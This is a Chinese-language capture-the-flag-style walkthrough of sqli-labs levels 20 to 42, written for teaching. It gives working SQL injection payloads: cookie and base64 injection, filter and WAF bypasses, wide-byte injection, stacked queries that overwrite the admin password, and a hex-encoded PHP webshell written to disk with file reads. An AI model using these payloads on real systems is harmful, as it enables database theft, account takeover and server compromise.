sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

對(duì)于cookie程序沒(méi)有做任何過(guò)濾

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

可以使用報(bào)錯(cuò)注入

'and updatexml (1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1)#

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

此外利用cookie查詢到的結(jié)果,會(huì)顯示在頁(yè)面上。用戶名密碼等

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

從源碼中可看出,如果通過(guò)cookie查到了該用戶的信息。會(huì)顯示name、passwd、id三個(gè)結(jié)果。這里可以猜測(cè)查詢結(jié)果的表有三列,因?yàn)椴樵兘Y(jié)果會(huì)顯示所以可以使用聯(lián)合查詢

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

測(cè)試一下有幾列:-Dumb ’ order by 4 --+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

4時(shí)報(bào)錯(cuò),改為3就不報(bào)錯(cuò)了。確實(shí)是三列。那剛好三個(gè)位置都會(huì)顯示,所以就不用測(cè)顯示位置了:-Dumb ’ union select 1,database(),@@datadir --+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

除了報(bào)錯(cuò)注入和聯(lián)合查詢外,還可以使用布爾盲注和延時(shí)注入

Dumb ' and length(database())=8 --+
Dumb ' and if(length(database())=8,sleep(5),1) --+

21、level 21

這里與level 20 一樣都是cookie的位置存在SQL注入,但這里的cookie值是經(jīng)過(guò)base64加密的。因此測(cè)試時(shí)要將payload編碼處理。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

考慮到兼容性的問(wèn)題php程序?qū)y(cè)試語(yǔ)句編碼。這里單引號(hào)測(cè)試為單引號(hào)加括號(hào)的閉合方式。

源程序?qū)ookie為做過(guò)濾,但先base64解碼后再拼接到SQL語(yǔ)句中。語(yǔ)句報(bào)錯(cuò)會(huì)輸出到頁(yè)面,可以使用報(bào)錯(cuò)注入。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

語(yǔ)句報(bào)錯(cuò)會(huì)輸出到頁(yè)面,可以使用報(bào)錯(cuò)注入。

查詢用戶表中的用戶,顯示不全。payload需base64編碼
admin') and updatexml (1,concat(0x5c,(select group_concat(username) from users),0x5c),1) --+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

與level 20一樣聯(lián)合查詢、布爾盲注和延時(shí)注入也是可以的,注意要把payload編碼。

22、level 22

與level 1一樣注入點(diǎn)在cookie位置上,且使用了base64編碼。測(cè)得為雙引號(hào)閉合方式

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

與leve1 21相比僅閉合方式不一樣,源代碼其他地方都差不多。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

可以使用報(bào)錯(cuò)注入、聯(lián)合查詢、布爾盲注和延時(shí)注入。注意需要對(duì)payload進(jìn)行編碼。

聯(lián)合查詢注入得到用戶名

1 " union select 1,(select group_concat(username) from users),group_concat(password) from users --+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

23、level 23

使用單引號(hào)測(cè)試,頁(yè)面報(bào)錯(cuò)。由報(bào)錯(cuò)可以看出確實(shí)是單引號(hào)閉合。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

嘗試使用 --、#注釋掉插入sql語(yǔ)句后面的語(yǔ)句,發(fā)現(xiàn)不起作用。應(yīng)該是程序過(guò)濾了注釋符。使用and ‘1’='1 代替注釋符,閉合掉后面的語(yǔ)句。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查看源代碼發(fā)現(xiàn),除了過(guò)濾了id值的’–‘、’#'。代碼與level 1一樣。所以二者的注入手法也一致,唯一不同的是不能用注釋符注釋掉后面的語(yǔ)句。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入我們可以使用聯(lián)合查詢、報(bào)錯(cuò)注入、布爾盲注和延時(shí)注入。

注意:這里用不了order by。只能select 一個(gè)個(gè)試。4不行,3剛好可以:union select 1,2,3 and ‘1’='1

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這里的3,2,1只有2是可以顯示在頁(yè)面上的。下面的1表示后面等式是否成立。

報(bào)錯(cuò)注入,可以使用兩個(gè)and

http://192.168.110.129/sqli-labs/Less-23/?id=3%27%20and%20extractvalue(1,concat(%27^%27,(select%20@@datadir),%27^%27))%20and%20%271%27=%271

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

24、level 24

一個(gè)登錄頁(yè)面,一個(gè)新用戶注冊(cè)頁(yè)面,猜測(cè)應(yīng)該是二次注入。引號(hào)測(cè)試。首先嘗試注冊(cè)admin ’ 用戶,登錄后修改密碼,發(fā)現(xiàn)無(wú)法修改(不跳轉(zhuǎn)到修改成功頁(yè)面,一直卡著)。再注冊(cè)admin ‘’ ,登錄后成功修改密碼。猜測(cè)為單引號(hào)閉合方式的用戶名二次注入。

注冊(cè)一個(gè)admin ’ # 的用戶,的登錄后修改密碼。修改為111

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

嘗試登錄admin,使用密碼 111

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

成功登錄。

查看源碼,發(fā)現(xiàn)登錄頁(yè)面和注冊(cè)頁(yè)面都對(duì)賬號(hào)和密碼進(jìn)行了轉(zhuǎn)義。

mysql_real_escape_string函數(shù)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注冊(cè)頁(yè)面:

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

登錄頁(yè)面:

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

修改密碼頁(yè)面是直接獲取到當(dāng)前用戶名未做任何過(guò)濾直接插如到SQL語(yǔ)句中

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

被污染的數(shù)據(jù)admin ’ # 從數(shù)據(jù)庫(kù)中取出后直接傳入sql語(yǔ)句中,導(dǎo)致where 后面password條件語(yǔ)句被注釋掉。使得修改了admin用戶的密碼。

25、level 25

單引號(hào)測(cè)試,頁(yè)面報(bào)錯(cuò),有錯(cuò)誤提示可知為單引號(hào)閉合。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

根據(jù)頁(yè)面提示以及測(cè)試發(fā)現(xiàn)這里過(guò)濾了 and 和 or

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

嘗試雙寫(xiě)看能不能繞過(guò) :oorr、anandd、aandnd、oorrder by

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

聯(lián)合查詢戶名和數(shù)據(jù)庫(kù)絕對(duì)路徑。其他注入手法也可以,但要注意雙寫(xiě)關(guān)鍵字

?id=-1%27%20union%20select%201,(select%20group_concat(username)%20from%20users),@@datadir%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源碼將關(guān)鍵字 and 和 or 置換為空,也就是過(guò)濾掉了

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

可以看到將id值傳入了blacklist 函數(shù),preg_replace 將or和and置換為空。

**注意:**關(guān)鍵字被過(guò)濾除了雙寫(xiě)還可以使用符號(hào)例如:||和&&代表and和or。還可以大小寫(xiě)混寫(xiě),示例:AnD、UNion

26、level 25a

單雙引號(hào)測(cè)試報(bào)錯(cuò),但不顯示錯(cuò)誤位置,不太好判斷。有經(jīng)驗(yàn)的可能能猜到是數(shù)字型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

和level 25差不多,但這里的id值是數(shù)字型的,不需要單引號(hào)包裹。注入的時(shí)候得注意

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

依舊是過(guò)濾了and和or關(guān)鍵字,所以得雙寫(xiě)繞過(guò)。注入?yún)⒖糽evel 25

27、level 26

測(cè)試結(jié)果為單引號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

測(cè)試發(fā)現(xiàn)過(guò)濾了關(guān)鍵字and、or和注釋符–、# 以及空格

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查看源碼發(fā)現(xiàn)還過(guò)濾了一些其他符號(hào),其中\(zhòng)s表示任何空白字符(比如換行符、制表符等等)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

and和or 可以雙寫(xiě)繞過(guò)也可以使用&&和||替換,注釋符可以使用:and ‘1’='1 代替。常見(jiàn)的替代空格的字符有:/**/ () + ` \t

繞過(guò)方法如下:

  • 編碼繞過(guò):

    • %09 TAB鍵(空格)
    • %0A 新建一行(空格)
    • %0C 新的一頁(yè)
    • %0D return即回車(chē)功能 (php-5.2.17,5.3.29成功)
    • %0B TAB鍵(垂直)
    • %A0 空格 (php-5.2.17成功)

    注意:編碼繞過(guò)空格過(guò)濾得看具體環(huán)境

  • 括號(hào)繞過(guò):用()繞過(guò),意思就是不使用任何空格

示例:報(bào)錯(cuò)注入

使用括號(hào)代替空格,邏輯符號(hào)代替and關(guān)鍵字:
id=1'&&extractvalue(null,concat(0x7e,(select(group_concat(username,'~',password))from(security.users)),0x7e))||'1

邏輯符號(hào)需要url編碼
id=1%27%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,%27~%27,password))from(security.users)),0x7e))%7c%7c%271

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

單引號(hào)閉合達(dá)到注釋效果

id=1%27anandd(extractvalue(null,concat(0x7e,(select(group_concat(username,%27~%27,passwoorrd))from(security.users)),0x7e)))anandd%271%27=%271

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

分號(hào)配合%00達(dá)到注釋效果:

布爾和延時(shí):
?id=1%27anandd(1=1);%00

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

28、level 26a

利用;%00當(dāng)作注釋符,發(fā)現(xiàn)單引號(hào)測(cè)試報(bào)錯(cuò),雙引號(hào)測(cè)試和單引號(hào)括號(hào)測(cè)試都不報(bào)錯(cuò)。不是很好判斷

查看源代碼發(fā)現(xiàn)為單引號(hào)加括號(hào)的閉合方式,頁(yè)面不顯示報(bào)錯(cuò)不能用報(bào)錯(cuò)注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

和level 26一樣過(guò)濾了and、or、注釋和空格。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

示例布爾盲注(延時(shí)注入和這差不多)

id=1%27)anandd(length(database())=8);%00

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

29、level 27

單引號(hào)測(cè)試,頁(yè)面報(bào)錯(cuò)。由報(bào)錯(cuò)提示可知為單引號(hào)閉合方式

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

測(cè)試發(fā)現(xiàn)過(guò)濾了union、select關(guān)鍵字,過(guò)濾了注釋和空格。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這里可以采用雙寫(xiě)或者大小寫(xiě)混寫(xiě)關(guān)鍵字繞過(guò)。聯(lián)合查詢、報(bào)錯(cuò)注入、布爾盲注、延時(shí)注入都可以。這里還可以使用%0a代替空格

聯(lián)合查詢:

id=222%27%0aUNion%0aSElecT%0a1,database(),user();%00

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

報(bào)錯(cuò)注入:

id=2%27and(extractvalue(null,concat(0x7e,(sEleCT(group_concat(username,%27~%27,password))from(security.users)),0x7e)));%00

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

布爾或延時(shí):

id=1'%0aand%0a1=1%0aand'1'='1

注意:對(duì)了這里除%0a可以當(dāng)空格外,其他url編碼應(yīng)該也是可以的。測(cè)試%0A可以當(dāng)括號(hào)

30、level 27a

單引號(hào)測(cè)試不報(bào)錯(cuò),雙引號(hào)測(cè)試報(bào)錯(cuò)。應(yīng)該是雙引號(hào)閉合。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

過(guò)濾情況與level 27一致

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入情況和level 27差不多,不過(guò)這里是雙引號(hào)閉合,而且報(bào)錯(cuò)注入不能用了,這里不輸出報(bào)錯(cuò)信息。

示例:聯(lián)合查詢數(shù)據(jù)并寫(xiě)webshell

id=222"%0aununionion%0aSelEcT%0a@@datadir,user(),0x3c3f706870206576616c28245f4745545b27636d64275d293b203f3e%0ainto%0aoutfile%0a%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%0a;%00

頁(yè)面雖然報(bào)錯(cuò),但文件還是寫(xiě)進(jìn)去了。連帶查詢結(jié)果也寫(xiě)進(jìn)去了

一個(gè)忠告:寫(xiě)文件時(shí)文件內(nèi)容轉(zhuǎn)換為16進(jìn)制能夠避免很多麻煩

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

示例:聯(lián)合查詢讀文件

id=222"%0aununionion%0aSelEcT%0a1,2,load_file("C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini");%00

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

31、level 28

與level 27和27a差不多,不過(guò)這里是單引號(hào)括號(hào)閉合方式,不是很好判斷。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

報(bào)錯(cuò)注入用不了,代碼注釋了錯(cuò)誤輸出。而且要注意,這里過(guò)濾的是:union select組合,實(shí)測(cè)直接大寫(xiě)小混寫(xiě)不行。所以這里要雙寫(xiě)這個(gè)組合:
示例:unionunion%0aselect%0aselect

id=222%27)%0aunionunion%0aselect%0aselect%0a1,database(),3;%00

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

其他注入可以參照27和27a,類似

32、level 28a

閉合方式不太好判斷,測(cè)試情況和level 28一樣。那應(yīng)該是單引號(hào)括號(hào)閉合。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

依舊是過(guò)濾 union select 組合,但空格和注釋好像沒(méi)被過(guò)濾。

查看源碼,確實(shí)只過(guò)濾了union select組合。雙寫(xiě)這個(gè)組合繞過(guò)。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這里代碼和28差不多,而且過(guò)濾更不嚴(yán)格。

id=-1') unionunion select select 1,database(),3 --+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

33、level 29

這里是 基于WAF的一個(gè)錯(cuò)誤引起的SQL注入,源代碼level 29文件夾里有三個(gè)php文件,默認(rèn)訪問(wèn)這個(gè)文件夾的index.php但這個(gè)文件是沒(méi)有接入“WAF”的。應(yīng)該指定訪問(wèn)login.php。

單引號(hào)測(cè)試被WAF攔截直接跳轉(zhuǎn)到hacked.php頁(yè)面。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼對(duì)id的值進(jìn)行了校驗(yàn)必須是數(shù)字

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

  • foreach循環(huán)

第一方式 foreache($qs_array as $val)

這里的$qs_array就是需要遍歷的數(shù)組名,每次循環(huán)時(shí),$qs_array數(shù)組的當(dāng)前元素的值被賦值給$val,并且數(shù)組的會(huì)逐次向后移動(dòng)一步,即下次循環(huán)得到另一個(gè)元素;

第二方式 foreache($qs_array as $key => $val)

第二種和第一種不同的是多了一個(gè)key,key代表鍵值也是下標(biāo)(比如:name[0]='張三’中的[0]就是下標(biāo)值),在這樣的循環(huán)下,不僅要將當(dāng)前元素賦予$val,也要把當(dāng)前的鍵職賦值給$key

來(lái)看看第二種格式,第二種格式除了能像第一種格式一樣得到數(shù)組內(nèi)元素的值外,還能得到元素的索引值,并保存到$key變量中,如果數(shù)組的索引值未經(jīng)過(guò)人工設(shè)定,則返回系統(tǒng)默認(rèn)的設(shè)定值。

  • WAF運(yùn)行規(guī)則

根據(jù)其中代碼邏輯,WAF 會(huì)檢測(cè) id 是否為數(shù)字,如果不是一律轉(zhuǎn)向 hacked.php。但是程序 沒(méi)有考慮當(dāng) id 多次賦值的情況,它只對(duì)第一次的 id 進(jìn)行了測(cè)試,如果傳入多個(gè) id,(如id=1&id=1&id=…)那么后 面的 id 則存在注入漏洞。

  • http參數(shù)污染

    **HTTP參數(shù)污染原理:**通常在一個(gè)請(qǐng)求中,同樣名稱的參數(shù)只會(huì)出現(xiàn)一次。但是在HTTP協(xié)議中是允許同樣名稱的參數(shù)出現(xiàn)多次的。針對(duì)同樣名稱的參數(shù)出現(xiàn)多次的情況,不同的服務(wù)器的處理方式會(huì)不一樣:

    [外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-QxxdomZQ-1679104162982)(img/webp.webp)]

  • 繞過(guò)

    這里可以使用參數(shù)污染繞過(guò),就是傳入多個(gè)id。(如id=1&id=1&id=…)。第一個(gè) id要符合WAF的放行規(guī)則,必須是數(shù)字。

    第一個(gè)id的值符合規(guī)則,WAF放行。但 $_GET獲取的是最后個(gè)id參數(shù),并直接傳入SQL語(yǔ)句中執(zhí)行,如果最后一個(gè)參數(shù)插入注入語(yǔ)句 ,就會(huì)繞過(guò)WAF造成SQL注入。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

示例:(報(bào)錯(cuò)、布爾、延時(shí)這里都可)

id=1&id=-1%27%20%20union%20%20select%201,2,@@datadir%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

34、level 30

這里和29一樣,不過(guò)這里是雙引號(hào)閉合。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

示例:

id=1&id=-1"%20union%20select%201,2,@@datadir%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

35、level 31

這里與level 29、30 一樣,閉合方式不一樣這里是雙引號(hào)括號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

示例:

id=1&id=-1")%20union%20select%201,2,@@datadir%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

36、level 32

使用單引號(hào)測(cè)試發(fā)現(xiàn),被轉(zhuǎn)義了(即前面加了個(gè)反斜杠)。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這里將斜杠、單引號(hào)、雙引號(hào)都轉(zhuǎn)義了

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

preg_replace是PHP中用來(lái)執(zhí)行正則表達(dá)式的匹配以及替換的函數(shù)。可以返回一個(gè)正則表達(dá)式轉(zhuǎn)換后的值。

preg_quote() 以 str 為參數(shù)并給其中每個(gè)屬于正則表達(dá)式語(yǔ)法的字符前面加上一個(gè)反斜線。如果你需要以動(dòng)態(tài)生成的字符串作為模式去匹配則可以用此函數(shù)轉(zhuǎn)義其中可能包含的特殊字符。

并且設(shè)置數(shù)據(jù)庫(kù)字符集為gbk

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

因此這里可以使用寬字符注入,示例:%df與反斜杠即%5c按照gbk編碼規(guī)則可以組成一個(gè)漢字”運(yùn)“,這就相當(dāng)于消除了單引號(hào)前的轉(zhuǎn)義符

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

需要將瀏覽器編碼設(shè)置為gbk,才能看到效果

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這里注入可以使用報(bào)錯(cuò)、布爾、延時(shí)和聯(lián)合查詢

id=-1%df%27%20union%20select%201,2,user()%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

**注意:**level 32~level 37都是轉(zhuǎn)義特殊符號(hào)來(lái)達(dá)到防止SQL注入,考察的是寬字節(jié)注入,注入手法都類似,不再過(guò)多詳述

37、level 33

這里效果與level 32 一致,只不過(guò)這里轉(zhuǎn)義字符的函數(shù)換成了addslashes。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

addslashes() 函數(shù)在指定的預(yù)定義字符前添加反斜杠。這些字符是單引號(hào)(')、雙引號(hào)(")、反斜線(\)與NUL(NULL字符)

這里注入可以參考level 32,二者注入效果一致。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

38、level 34

這里post提交參數(shù),也是使用addslashes() 函數(shù)轉(zhuǎn)義特殊符號(hào)??梢詤⒄誰(shuí)evel 32、33,它們一樣的效果。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

同樣可以使用寬字節(jié)繞過(guò),

uname=Dumb%df' union select 1,user() --+&passwd=Dumb&submit=Submit

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

39、level 35

這里同樣是addslashes()函數(shù)轉(zhuǎn)義

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

但是id是一個(gè)數(shù)字型的變量,不需要單引號(hào)閉合。所以這個(gè)addslashes()函數(shù)轉(zhuǎn)義過(guò)濾沒(méi)有意義。

id=-1%20union%20select%201,2,database()%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

40、level 36

這里使用單引號(hào)閉合同樣被轉(zhuǎn)義,但這里使用的是mysql_real_escape_string 函數(shù)。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 SQL 語(yǔ)句中使用的字符串中的特殊字符。如果成功,則該函數(shù)返回被轉(zhuǎn)義的字符串。如果失敗,則返回 false。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

使用寬字節(jié)繞過(guò)即可

id=-1%df%27%20union%20select%201,2,database()%20--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

41、level 37

這里是post傳參,和level 34非常像,不同的是使用了同level 36 的mysql_real_escape_string函數(shù)轉(zhuǎn)義特殊字符。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

同樣設(shè)置了gbk的編碼方式,可以使用寬字節(jié)注入

uname=Dumb&passwd=Dumb%df' union select 1,database() --+&submit=Submit

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

42、level 38

測(cè)試的這里為單引號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

測(cè)試這里除了聯(lián)合查詢、布爾盲注、延時(shí)注入、報(bào)錯(cuò)注入外,還可以使用堆疊注入。

堆疊注入原理就是通過(guò)結(jié)束符同時(shí)執(zhí)行多條sql語(yǔ)句,這就需要服務(wù)器在訪問(wèn)數(shù)據(jù)端時(shí)使用的是可同時(shí)執(zhí)行多條sql語(yǔ)句的方法。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

mysqli_multi_query() 函數(shù)執(zhí)行一個(gè)或多個(gè)針對(duì)數(shù)據(jù)庫(kù)的查詢。多個(gè)查詢用分號(hào)進(jìn)行分隔。

示例:修改admin密碼

原密碼

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

堆疊查詢修改

id=8%27;update%20users%20set%20password="duidie"%20where%20username="admin";%20--+

后端執(zhí)行的SQL語(yǔ)句

$sql="SELECT * FROM users WHERE id='1';update users set password="duidie" where username="admin" ;--+' LIMIT 0,1";

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

成功修改

注意:從level 38到45都是主要考察堆疊注入,38到41是差不多的類型,42到45時(shí)登錄場(chǎng)景的堆疊注入

43、level 39

經(jīng)測(cè)試這里為數(shù)字型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

與level 38一樣,這里同樣使用了mysqli_multi_query函數(shù),允許多個(gè)SQL語(yǔ)句一起執(zhí)行

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

可以使用堆疊注入(其他注入手法也是可以的)

id=8;update%20users%20set%20password="leve139"%20where%20username="admin";%20--+

成功修改

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

44、level 40

這里關(guān)閉了報(bào)錯(cuò),根據(jù)前面的經(jīng)驗(yàn)來(lái)看這里應(yīng)該是使用了單引號(hào)括號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

熟悉的mysqli_multi_query函數(shù),這里依舊可以使用堆疊注入,除閉合方式不同、40關(guān)閉了報(bào)錯(cuò)回顯外,同level 38、39一樣

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

id=8%27);update%20users%20set%20password="level40"%20where%20username="admin";%20--+

成功修改

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

45、level 41

這里可以看做是關(guān)閉了報(bào)錯(cuò)回顯的level 39。數(shù)字型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

同樣使用了mysqli_multi_query函數(shù),可以使用堆疊查詢(堆疊注入)

46、level 42

這里是模擬可以使用堆疊注入來(lái)修改密碼達(dá)到登錄管理員賬戶等目的一類場(chǎng)景。

源代碼對(duì)username參數(shù)進(jìn)行了過(guò)濾,但password參數(shù)沒(méi)有,可以注入。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

登錄頁(yè)面由于使用mysqli_multi_query函數(shù),可以使用堆疊注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

可以先使用其他注入手法獲得數(shù)據(jù)庫(kù)信息,使用堆疊注入在修改密碼

示例:用報(bào)錯(cuò)注入獲得數(shù)據(jù)庫(kù)名

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

改密碼

login_password=41';update%20users%20set%20password="level42"%20where%20username="admin";--+&login_user=admin&mysubmit=Login

雖然密碼跳轉(zhuǎn)到錯(cuò)誤頁(yè)面但密碼確實(shí)改了

